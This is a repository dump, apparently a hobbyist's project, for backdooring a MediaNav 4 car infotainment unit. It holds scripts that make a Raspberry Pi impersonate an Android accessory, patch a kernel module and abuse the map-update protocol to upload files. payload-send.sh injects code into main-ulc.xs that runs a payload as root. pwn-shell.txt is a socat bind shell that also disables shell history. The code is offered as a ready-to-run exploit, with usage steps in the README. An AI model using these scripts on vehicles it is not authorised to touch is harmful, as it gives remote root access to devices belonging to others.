├── mn4-pwned ├── pwn.txt ├── .gitignore ├── cleanup.sh ├── setup.sh ├── pwn-shell.txt ├── pwn-popup.txt ├── scripts │ ├── install-dependencies.sh │ ├── ctrl-gadget.sh │ ├── patch-kernel-module.sh │ └── ctrl-proto.py ├── payload-clear.sh ├── payload-send.sh └── README.md └── README.md /mn4-pwned/pwn.txt: -------------------------------------------------------------------------------- 1 | pwn-popup.txt -------------------------------------------------------------------------------- /mn4-pwned/.gitignore: -------------------------------------------------------------------------------- 1 | /scripts/linux-source 2 | /tmp 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MediaNav 4 Tools (mn4-tools) 2 | 3 | * [mn4-pwned](mn4-pwned/): a procedure to create a backdoor on the MediaNav 4 4 | * _more to come..._ 5 | -------------------------------------------------------------------------------- /mn4-pwned/cleanup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | cd -- "$(dirname -- "$0")" 5 | 6 | rm -rf tmp 7 | 8 | sudo ./scripts/ctrl-gadget.sh remove 9 | echo "gadget removed" 10 | -------------------------------------------------------------------------------- /mn4-pwned/setup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | cd -- "$(dirname -- "$0")" 5 | 6 | ./scripts/install-dependencies.sh 7 | sudo ./scripts/patch-kernel-module.sh 8 | sudo ./scripts/ctrl-gadget.sh create || sudo ./scripts/ctrl-gadget.sh reset 9 | echo "gadget created" 10 | -------------------------------------------------------------------------------- /mn4-pwned/pwn-shell.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -euo pipefail 4 | 5 | # 6 | # a simple bind shell 7 | # 8 | # https://gtfobins.github.io/gtfobins/socat/#bind-shell 9 | # 10 | # Connect using: 11 | # 12 | # socat file:`tty`,raw,echo=0 tcp:address:4444 13 | # (replace address) 14 | # 15 | # OR 16 | # 17 | # nc address 4444 18 | # (replace address, not fully interactive) 19 | # 20 | # Use `killshell` to kill the shell. 21 | # 22 | 23 | killshell() { 24 | pkill -f "socat tcp-listen:4444" || true 25 | } 26 | 27 | killshell 28 | export -f killshell 29 | export HISTFILE= 30 | 31 | socat tcp-listen:4444,reuseaddr,fork exec:/bin/bash,pty,stderr,setsid,sigint,sane 32 | -------------------------------------------------------------------------------- /mn4-pwned/pwn-popup.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -euo pipefail 4 | 5 | # 6 | # pwned popup 7 | # 8 | # Shows a message on the screen by calling a dbus method. Found by analyzing 9 | # the firmware. Many other services are available on dbus. For a later time... 10 | # 11 | 12 | dbus-send --system --print-reply --type=method_call --dest=com.lge.PopupManager \ 13 | /com/lge/PopupManager \ 14 | com.lge.PopupManager.Service.CreatePopup \ 15 | string:'{"type":"CONFIRM","data":{"title":"PWNED!","text":"'"`id`"'","timer":"2500"}}' 16 | dbus-send --system --print-reply --type=method_call --dest=com.lge.PopupManager \ 17 | /com/lge/PopupManager \ 18 | com.lge.PopupManager.Service.ShowPopup \ 19 | int32:7000000 20 | -------------------------------------------------------------------------------- /mn4-pwned/scripts/install-dependencies.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | cd -- "$(dirname -- "$0")" 5 | 6 | if ! grep -qxF "dtoverlay=dwc2" /boot/config.txt; then 7 | echo "adding 'dtoverlay=dwc2' to '/boot/config.txt'..." 8 | echo dtoverlay=dwc2 | sudo tee -a /boot/config.txt >/dev/null 9 | touch /tmp/.reboot 10 | echo "rebooting in 10 seconds..." 11 | sleep 10 12 | sudo reboot 13 | exit 14 | fi 15 | 16 | [ -f /tmp/.reboot ] && echo "reboot required to continue" && exit 1 17 | 18 | CMDS=(git socat) 19 | CMDS_FINAL=() 20 | for CMD in "${CMDS[@]}"; do 21 | command -v "$CMD" >/dev/null || CMDS_FINAL+=("$CMD") 22 | done 23 | if [ ${#CMDS_FINAL[@]} -ne 0 ]; then 24 | sudo apt-get -y update 25 | sudo apt-get -y install "${CMDS_FINAL[@]}" 26 | fi 27 | -------------------------------------------------------------------------------- /mn4-pwned/payload-clear.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | cd -- "$(dirname -- "$0")" 5 | 6 | mkdir -p tmp 7 | 8 | echo "resetting gadget..." 9 | sudo ./scripts/ctrl-gadget.sh reset 10 | sleep 2 11 | 12 | echo "downloading 'main-ulc.xs'..." 13 | rm -f tmp/main-ulc.xs 14 | ./scripts/ctrl-proto.py pull yellowtool/src/main-ulc.xs tmp/main-ulc.xs 15 | 16 | if grep -qF "// mn4-pwned-v0" tmp/main-ulc.xs; then 17 | sed -i '/\/\/ mn4-pwned-v0/d' tmp/main-ulc.xs 18 | 19 | echo "uploading clean 'main-ulc.xs'..." 20 | ./scripts/ctrl-proto.py push tmp/main-ulc.xs yellowtool/src/main-ulc.xs 21 | 22 | SHA1=$(sha1sum tmp/main-ulc.xs | head -c40) 23 | echo "file hash = $SHA1" 24 | 25 | echo "removing payload..." 26 | ./scripts/ctrl-proto.py delete yellowtool/pwn.sh 27 | else 28 | echo "not pwned, nothing to do" 29 | fi 30 | -------------------------------------------------------------------------------- /mn4-pwned/scripts/ctrl-gadget.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | cd -- "$(dirname -- "$0")" 5 | 6 | # configures a USB gadget to a simulate a Android Open Accessory (AOA) device 7 | 8 | G_NAME="mn4gadget" 9 | 10 | modprobe libcomposite 11 | cd /sys/kernel/config/usb_gadget 12 | 13 | cmd_create() { 14 | mkdir "$G_NAME" 15 | cd "$G_NAME" 16 | 17 | # https://source.android.com/docs/core/interaction/accessories/aoa 18 | # Google's vendor and product ID 19 | echo 0x18d1 >idVendor 20 | echo 0x2d00 >idProduct 21 | 22 | mkdir configs/c.1 23 | mkdir functions/gser.usb0 24 | ln -s functions/gser.usb0 configs/c.1/ 25 | 26 | ls /sys/class/udc >UDC 27 | } 28 | 29 | cmd_remove() { 30 | cd "$G_NAME" 31 | echo "" >UDC 32 | rm configs/c.1/gser.usb0 33 | rmdir functions/gser.usb0 34 | rmdir configs/c.1 35 | cd .. 36 | rmdir "$G_NAME" 37 | } 38 | 39 | cmd_reset() { 40 | cd "$G_NAME" 41 | echo "" >UDC 42 | ls /sys/class/udc >UDC 43 | } 44 | 45 | cmd_port() { 46 | NUM=$(cat "$G_NAME/functions/gser.usb0/port_num") 47 | echo "/dev/ttyGS$NUM" 48 | } 49 | 50 | case "${1:-}" in 51 | create) cmd_create ;; 52 | remove) cmd_remove ;; 53 | reset) cmd_reset ;; 54 | port) cmd_port ;; 55 | *) echo "missing command (create/remove/reset/port)" >&2 && exit 1 ;; 56 | esac 57 | -------------------------------------------------------------------------------- /mn4-pwned/scripts/patch-kernel-module.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | cd -- "$(dirname -- "$0")" 5 | 6 | # patches f_serial.c to set 'bInterfaceSubClass = USB_SUBCLASS_VENDOR_SPEC' 7 | # to match the expected value used by Android Open Accessory (AOA) 8 | 9 | K_RELEASE=$(uname -r) 10 | K_MODULES="/lib/modules/$K_RELEASE" 11 | K_MODULES_OUR="$K_MODULES/usb_f_serial_patched.ko" 12 | 13 | if [ ! -f "$K_MODULES_OUR" ]; then 14 | # based on: 15 | # https://github.com/RPi-Distro/rpi-source/blob/master/rpi-source 16 | # https://github.com/RPi-Distro/rpi-source/issues/25 17 | 18 | K_HASH=$(zcat /usr/share/doc/linux-image-$K_RELEASE/changelog.Debian.gz | grep -F -m1 "Linux commit" | grep -Pio "[0-9a-f]{40}" || true) 19 | [ -z "$K_HASH" ] && echo "failed to find kernel commit hash" && exit 1 20 | 21 | K_SOURCE="linux-source/linux-$K_HASH" 22 | if [ ! -f "$K_SOURCE/Kconfig" ]; then 23 | mkdir -p "$K_SOURCE" 24 | ( 25 | cd "$K_SOURCE" 26 | apt-get -y install build-essential flex bison bc 27 | echo "getting kernel source..." 28 | git init -q 29 | git remote add origin https://github.com/raspberrypi/linux.git || true 30 | git fetch --depth 1 origin "$K_HASH" 31 | # too slow, we'll use some plumbing commands 32 | # git -c advice.detachedHead=false checkout FETCH_HEAD 33 | echo "unpacking kernel source..." 34 | git read-tree FETCH_HEAD && git checkout-index -a 35 | ) 36 | fi 37 | 38 | ( 39 | cd "$K_SOURCE" 40 | echo "building kernel module..." 41 | # patch 42 | sed -i "s/bInterfaceSubClass.*=.*0/bInterfaceSubClass = USB_SUBCLASS_VENDOR_SPEC/g" drivers/usb/gadget/function/f_serial.c 43 | # build 44 | cp "/usr/src/linux-headers-$K_RELEASE/Module.symvers" . 45 | [ -f .config ] || yes "" | make oldconfig || true 46 | make modules_prepare 47 | make M=drivers/usb/gadget/function modules 48 | # make drivers/usb/gadget/function/usb_f_serial.ko 49 | cp drivers/usb/gadget/function/usb_f_serial.ko "$K_MODULES_OUR" 50 | ) 51 | fi 52 | 53 | # our patched module 54 | file "$K_MODULES_OUR" 55 | 56 | # disable original module and load patched version 57 | echo "enabling kernel module..." 58 | depmod -a 59 | rmmod usb_f_serial || true 60 | modprobe -v usb_f_serial_patched 61 | -------------------------------------------------------------------------------- /mn4-pwned/payload-send.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | cd -- "$(dirname -- "$0")" 5 | 6 | mkdir -p tmp 7 | 8 | echo "resetting gadget..." 9 | sudo ./scripts/ctrl-gadget.sh reset 10 | sleep 2 11 | 12 | SHA1_EXPECTED="2a58d68aa287804d9a456dcf2214cad3827c7e3f" 13 | PAYLOAD="pwn.txt" 14 | PAYLOAD_FINAL=${1-$PAYLOAD} 15 | 16 | confirm() { 17 | read -r -p "${1:-Are you sure} (y/n)? " YESNO 18 | [[ "$YESNO" =~ ^[yY] ]] 19 | } 20 | 21 | # The injection point is the file '/navi/yellowtool/src/main-ulc.xs'. 22 | # This file is part of the same system that we use to communicate with 23 | # the device, so care should be taken to avoid breaking it and losing 24 | # access to the device. 25 | # We inject at the top of the 'main' function on that file. 26 | # The system uses a programming language similar to JS, that appears to 27 | # use a proprietary engine. Being plaintext (not compiled), means that 28 | # it can be easily exploited. 29 | # The payload goes on a separate 'pwn.sh' file to isolate any errors. 30 | # Originally the file '/navi/yellowtool/yellowtool.sh' was considered 31 | # for the injection point, but the upload protocol clears the execute 32 | # bit, and that would break everything. 33 | 34 | # inject backdoor 35 | 36 | echo "downloading 'main-ulc.xs'..." 37 | rm -f tmp/main-ulc.xs 38 | ./scripts/ctrl-proto.py pull yellowtool/src/main-ulc.xs tmp/main-ulc.xs 39 | 40 | if grep -qF "// mn4-pwned-v0" tmp/main-ulc.xs; then 41 | echo "already pwned, not doing it again" 42 | PAYLOAD_FINAL=${1-} 43 | else 44 | { 45 | sed -ne 'p;/^async main()/q' tmp/main-ulc.xs 46 | # the actual backdoor injection 47 | echo ' const pwn = spawn("/bin/bash", "-c", "( setsid bash /navi/yellowtool/pwn.sh >/dev/null 2>&1 &)", { stdin: @null, stdout: @null, stderr: @null }); await pwn.status; // mn4-pwned-v0' 48 | sed -e '1,/^async main()/d' tmp/main-ulc.xs 49 | } >tmp/main-ulc.xs.pwn 50 | 51 | SHA1=$(sha1sum tmp/main-ulc.xs | head -c40) 52 | echo "file hash = $SHA1" 53 | if [ "$SHA1" != "$SHA1_EXPECTED" ]; then 54 | echo " expected = $SHA1_EXPECTED" 55 | echo "file 'tmp/main-ulc.xs' does not match expected content" 56 | echo "check the file 'tmp/main-ulc.xs.pwn'" 57 | confirm "continue" 58 | fi 59 | 60 | echo "uploading pwned 'main-ulc.xs'..." 61 | ./scripts/ctrl-proto.py push tmp/main-ulc.xs.pwn yellowtool/src/main-ulc.xs 62 | fi 63 | 64 | # send payload 65 | 66 | if [ -z "$PAYLOAD_FINAL" ]; then 67 | echo "will not upload payload again, pass new payload file as argument, e.g.:" 68 | echo "$0 $PAYLOAD" 69 | else 70 | echo "uploading payload..." 71 | ./scripts/ctrl-proto.py push "$PAYLOAD_FINAL" yellowtool/pwn.sh 72 | fi 73 | -------------------------------------------------------------------------------- /mn4-pwned/README.md: -------------------------------------------------------------------------------- 1 | # MediaNav 4 Pwned (mn4-pwned) 2 | 3 | This directory contains scripts capable of pwning the MediaNav 4 (target device). 4 | 5 | The latest versions of the firmware (6.0.9.8+) removed a well-known backdoor that used an `autorun_bavn/autorun.sh` script on a USB drive to run code as root. This page details a new procedure to regain that ability without a modified update file. 6 | 7 | It uses a bespoke implementation of a communication protocol used to send/receive files to/from the target device. Officially, this protocol is used to update the navigation maps on the device but it can also be used to update arbitrary files. That unrestricted ability can be used to create a new backdoor. 8 | 9 | Check the accompanying blog post to understand the motivation and see how this was developed: 10 | 11 | https://goncalomb.com/blog/2024/01/30/f57cf19b-how-i-also-hacked-my-car 12 | 13 | This project does not contain any proprietary code. All code is original. 14 | 15 | ## Overview 16 | 17 | The procedure is something like this: 18 | 19 | * Setup a Raspberry Pi Zero 2 W as a USB Gadget with specific parameters that trick the target device into thinking that it is connected to an Android device using [Android Open Accessory (AOA)](https://source.android.com/docs/core/interaction/accessories/protocol); 20 | * Exploit the navigation maps update feature of the target device to send arbitrary files; 21 | * Send designed payload to the device; 22 | * Trigger the payload (it runs as root); 23 | * Profit; 24 | 25 | ## Scripts 26 | 27 | * `./setup.sh`: setups the Raspberry Pi, downloads dependencies, patches the kernel and creates the USB Gadget; 28 | * `./payload-send.sh [payload-file]`: sends the payload to the device 29 | * `./payload-clear.sh`: clears the payload from the device 30 | * `./cleanup.sh`: removes the USB Gadget 31 | 32 | ### Other 33 | 34 | You don't need to call these scripts directly, they are called by the primary scripts. 35 | 36 | * `./scripts/install-dependencies.sh`: installs dependencies 37 | * `./scripts/patch-kernel-module.sh`: creates patched kernel module (required for AOA) 38 | * `./scripts/ctrl-gadget.sh`: controls the USB Gadget 39 | * `./scripts/ctrl-proto.py`: send commands to the target device (CAUTION: you could destroy your device with this script, e.g. delete system files) 40 | 41 | ## Usage 42 | 43 | Requirements: Raspberry Pi Zero 2 W (other versions might work but not tested), GNU/Linux system recommended. 44 | 45 | Read all the instructions before starting so that you have an idea of what is required. 46 | 47 | ### Setup 48 | 49 | * Setup a microSD card with a fresh Raspberry Pi OS installation; 50 | * I suggest just using the [official imager](https://www.raspberrypi.com/software/). 51 | * Tested with Raspberry Pi OS Lite (32-bit) (2023-10-10). 52 | * Enable SSH, set password and configure wireless network; 53 | * You can do all this using the official imager or other methods. 54 | * Get the `mn4-pwned` code; 55 | * If you are on a system that supports ext4, you can just copy the code to the microSD card at `/home/pi` (rootfs). 56 | * If not, just wait for later. 57 | * Boot the Raspberry Pi; 58 | * Connect using SSH; 59 | * Get the `mn4-pwned` code, if you didn't already, use `git`, `wget` or something else. 60 | * At this point you should have the `mn4-pwned` directory, `cd` in into it; 61 | * Run `./setup.sh`, the first time it should ask to reboot after setting `dtoverlay=dwc2`; 62 | * Reboot and `cd` back into `mn4-pwned`. 63 | * Run `./setup.sh` again, this time it should download the Linux kernel sources and compile a patched module. This can take ~9min. 64 | * After all that you should see the message "gadget created"; 65 | * Power off the Raspberry Pi; 66 | 67 | ### Pwning 68 | 69 | This involves connecting the Raspberry Pi to the target device using a standard USB Micro-B to Type-A cable using the OTG port on the RPi. The RPi can be powered from the OTG port. While connected to the target device you need to have SSH access to the RPi, plan the wireless setup accordingly. 70 | 71 | * Connect the Raspberry Pi (OTG port) to the target device; 72 | * On the target device select "Navigation" > "Menu" > "Map Update" > "Options" > "Update with Phone"; 73 | * You should see the message "Phone not connected!"; 74 | * Connect to the Raspberry Pi using SSH; 75 | * `cd` into `mn4-pwned`; 76 | * Run `./setup.sh`, after a few seconds you will see the message "gadget created"; 77 | * On the target device, you should see "Phone connected! Waiting for maps to be transferred."; 78 | * Run `./payload-send.sh` to create the backdoor and deliver the payload; 79 | * Optionally run `./cleanup.sh` to close the connection; 80 | * Click "Exit update" on the target device; 81 | 82 | To run the payload just go back into "Update with Phone". For a few seconds, you should see the message "PWNED!" showing the root user id. 83 | 84 | Other payloads (bash scripts) can be delivered as an argument to `./payload-send.sh`. To remove the backdoor and payload use `./payload-clear.sh`. 85 | -------------------------------------------------------------------------------- /mn4-pwned/scripts/ctrl-proto.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os, sys, enum, subprocess, selectors, struct, argparse, shlex 4 | 5 | # These next classes implement the lower level protocol. It consists of series 6 | # of packets, with 3 defined types: control, request and response. 7 | # The request and response packets have an id that identifies the transaction 8 | # this allows for multiplexed requests/responses over the same stream. 9 | # The control packets doesn't expect a response. 10 | # 11 | # The protocol is not fully implemented (XXX: we don't need rest): 12 | # - it doesn't handle control packets 13 | # - it doesn't answer to requests (cannot act like a server) 14 | # - completely ignores 'aborted' flag on requests/responses 15 | # 16 | # Basically just sends requests processes responses, nothing else. 17 | 18 | class ProtoPacketType(enum.Enum): 19 | CONTROL = 0 20 | REQUEST = 1 21 | RESPONSE = 2 22 | 23 | class ProtoPacket(): 24 | MAX_LENGTH = 0x7fff 25 | MAX_DATA_LENGTH = MAX_LENGTH - 4 26 | MAX_ID = 0x3fff 27 | 28 | def __init__(self, p_id=0, p_type=ProtoPacketType.CONTROL): 29 | self.length = 0 30 | self.final = False 31 | self.id = p_id 32 | self.type = p_type 33 | self.aborted = False 34 | self.data = None 35 | 36 | @staticmethod 37 | def read(data): 38 | if len(data) < 4: 39 | return None 40 | b0, b1 = struct.unpack(' ProtoPacket.MAX_DATA_LENGTH: 96 | self._send(False, False, self._buf[l:l + ProtoPacket.MAX_DATA_LENGTH]) 97 | l += ProtoPacket.MAX_DATA_LENGTH 98 | if l > 0: 99 | self._buf = self._buf[l:] 100 | 101 | def write_pack(self, fmt, *v): 102 | self.write(struct.pack(fmt, *v)) 103 | 104 | def write_string(self, s): 105 | self.write(s.encode('ascii')) 106 | self.write(b'\x00') 107 | 108 | def done(self): 109 | self._send(True, False, self._buf) 110 | 111 | class ProtoExchange(): 112 | def __init__(self, f_in, f_out, dbg_in_data=None, dbg_in_packet=None, dbg_out_packet=None): 113 | self._f_in = f_in 114 | self._f_out = f_out 115 | self._dbg_in_data = dbg_in_data 116 | self._dbg_in_packet = dbg_in_packet 117 | self._dbg_out_packet = dbg_out_packet 118 | self._buf_read = bytearray() 119 | self._next_id = 1 120 | self._handlers = dict() 121 | self.packets_in_final = [0, 0, 0] 122 | self.packets_out_final = [0, 0, 0] 123 | 124 | def _write_packet(self, p): 125 | if self._dbg_out_packet: 126 | self._dbg_out_packet(p) 127 | p.write(self._f_out) 128 | if p.final: 129 | self.packets_out_final[p.type.value] += 1 130 | 131 | def _handle_response(self, p): 132 | assert(self._handlers[p.id]) 133 | on_data, on_end = self._handlers[p.id] 134 | if on_data and p.data: 135 | on_data(p.data) 136 | if p.final: 137 | if on_end: 138 | on_end() 139 | del self._handlers[p.id] 140 | 141 | def _handle_packet(self, p): 142 | # XXX: we don't answer control or request packets 143 | if p.type == ProtoPacketType.CONTROL: 144 | raise NotImplementedError() 145 | elif p.type == ProtoPacketType.REQUEST: 146 | raise NotImplementedError() 147 | elif p.type == ProtoPacketType.RESPONSE: 148 | self._handle_response(p) 149 | if p.final: 150 | self.packets_in_final[p.type.value] += 1 151 | 152 | def start_request(self, on_data=None, on_end=None): 153 | p_id = self._next_id 154 | self._next_id = (self._next_id + 1) & ProtoPacket.MAX_ID or 1 155 | self._handlers[p_id] = on_data, on_end 156 | return ProtoMessageWriter(self, p_id, ProtoPacketType.REQUEST) 157 | 158 | def read(self): 159 | while r := self._f_in.read(10 * ProtoPacket.MAX_LENGTH): 160 | if self._dbg_in_data: 161 | self._dbg_in_data(r) 162 | self._buf_read.extend(r) 163 | while p := ProtoPacket.read(self._buf_read): 164 | self._buf_read = self._buf_read[p.length:] 165 | if self._dbg_in_packet: 166 | self._dbg_in_packet(p) 167 | self._handle_packet(p) 168 | 169 | # Implementation YellowTool/YellowBox. 170 | 171 | class ProtoYellowRequestType(enum.Enum): 172 | PUSH_FILE = 1 173 | GET_FILE = 3 174 | # XXX: requires reverse engineering serialization format, not worth it 175 | # QUERY_INFO = 4 176 | DELETE_FILE = 6 177 | 178 | class ProtoYellowResponseType(enum.Enum): 179 | SUCCESS = 0 180 | 181 | class ProtoYellow(ProtoExchange): 182 | def __init__(self, *args, **kw): 183 | super().__init__(*args, **kw) 184 | self.response_errors = 0 185 | 186 | def _do_request(self, on_start=None, on_data=None, on_end=None, on_error=None): 187 | started = False 188 | error_buf = None 189 | 190 | def on_data_wrap(data): 191 | nonlocal started, error_buf 192 | if started: 193 | if error_buf: 194 | error_buf.extend(data) 195 | elif on_data: 196 | on_data(data) 197 | else: 198 | if data[0] == ProtoYellowResponseType.SUCCESS.value: 199 | if on_start: 200 | on_start() 201 | if on_data: 202 | on_data(data[1:]) 203 | else: 204 | error_buf = bytearray(data) 205 | started = True 206 | 207 | def on_end_wrap(): 208 | if error_buf: 209 | self.response_errors += 1 210 | if on_error: 211 | on_error(error_buf) 212 | elif on_end: 213 | on_end() 214 | 215 | return self.start_request(on_data_wrap, on_end_wrap) 216 | 217 | def push_file(self, local, remote, on_error=None): 218 | writer = self._do_request(on_error=on_error) 219 | with open(local, 'rb') as fp: 220 | writer.write_pack(' OUT packet (p.length={}, p.final={})".format(p.length, p.final)) 275 | print("> p.id={}".format(p.id)) 276 | print("> p.type={}".format(p.type)) 277 | print("> p.aborted={}".format(p.aborted)) 278 | print("> ", end='') 279 | print(p.data) 280 | 281 | yll = None 282 | 283 | def command_push(args): 284 | global yll 285 | def on_error(data): 286 | print("response error (push): ", end='', file=sys.stderr) 287 | print(bytes(data), file=sys.stderr) 288 | yll.push_file(args.local, args.remote, on_error=on_error) 289 | 290 | def command_pull(args): 291 | global yll 292 | def on_error(data): 293 | print("response error (pull): ", end='', file=sys.stderr) 294 | print(bytes(data), file=sys.stderr) 295 | yll.get_file(args.remote, args.local, on_error=on_error) 296 | 297 | def command_delete(args): 298 | global yll 299 | def on_error(data): 300 | print("response error (delete): ", end='', file=sys.stderr) 301 | print(bytes(data), file=sys.stderr) 302 | yll.delete_file(args.remote, on_error=on_error) 303 | 304 | def register_commands(parser, exit_fn=None): 305 | subparsers = parser.add_subparsers(title='commands', dest='command') 306 | 307 | def register_command(cmd, fn, args=[]): 308 | p = subparsers.add_parser(cmd, prefix_chars=parser.prefix_chars, add_help=parser.add_help, exit_on_error=parser.exit_on_error) 309 | if not parser.exit_on_error: 310 | p.error = parser.error 311 | p.set_defaults(fn=fn) 312 | for arg in args: 313 | p.add_argument(arg) 314 | 315 | register_command('push', command_push, ['local', 'remote']) 316 | register_command('pull', command_pull, ['remote', 'local']) 317 | register_command('delete', command_delete, ['remote']) 318 | if exit_fn: 319 | register_command('exit', exit_fn) 320 | 321 | return subparsers 322 | 323 | def setup(debug, repl=True): 324 | global yll 325 | running = True 326 | 327 | def command_exit(args): 328 | nonlocal running 329 | running = False 330 | 331 | parser = argparse.ArgumentParser(prefix_chars='\x00', add_help=False, exit_on_error=False) 332 | def parser_error(msg): 333 | raise argparse.ArgumentError(None, msg) 334 | parser.error = parser_error 335 | subparsers = register_commands(parser, command_exit) 336 | 337 | proc = open_serial() 338 | os.set_blocking(proc.stdout.fileno(), False) 339 | if debug: 340 | yll = ProtoYellow(proc.stdout, proc.stdin, debug_in_data, debug_in_packet, debug_out_packet) 341 | else: 342 | yll = ProtoYellow(proc.stdout, proc.stdin) 343 | 344 | def read_proc(fp): 345 | yll.read() 346 | 347 | def read_stdin(fp): 348 | parts = shlex.split(fp.readline()) 349 | try: 350 | args = parser.parse_args(parts or ['']) 351 | args.fn(args) 352 | except argparse.ArgumentError as e: 353 | print(e.message) 354 | 355 | 356 | sel = selectors.DefaultSelector() 357 | sel.register(proc.stdout, selectors.EVENT_READ, read_proc) 358 | if repl: 359 | sel.register(sys.stdin, selectors.EVENT_READ, read_stdin) 360 | 361 | def run(): 362 | while running: 363 | for key, events in sel.select(): 364 | key.data(key.fileobj) 365 | if not repl and yll.packets_in_final[ProtoPacketType.RESPONSE.value] > 0: 366 | break 367 | proc.terminate() 368 | proc.wait() 369 | 370 | return run 371 | 372 | if __name__ == '__main__': 373 | parser = argparse.ArgumentParser() 374 | parser.add_argument('-d', '--debug', action='store_true') 375 | subparsers = register_commands(parser) 376 | 377 | args = parser.parse_args() 378 | if args.command: 379 | run = setup(args.debug, False) 380 | args.fn(args) 381 | run() 382 | sys.exit(1 if yll.response_errors else 0) 383 | else: 384 | setup(args.debug)() 385 | sys.exit(0) 386 | --------------------------------------------------------------------------------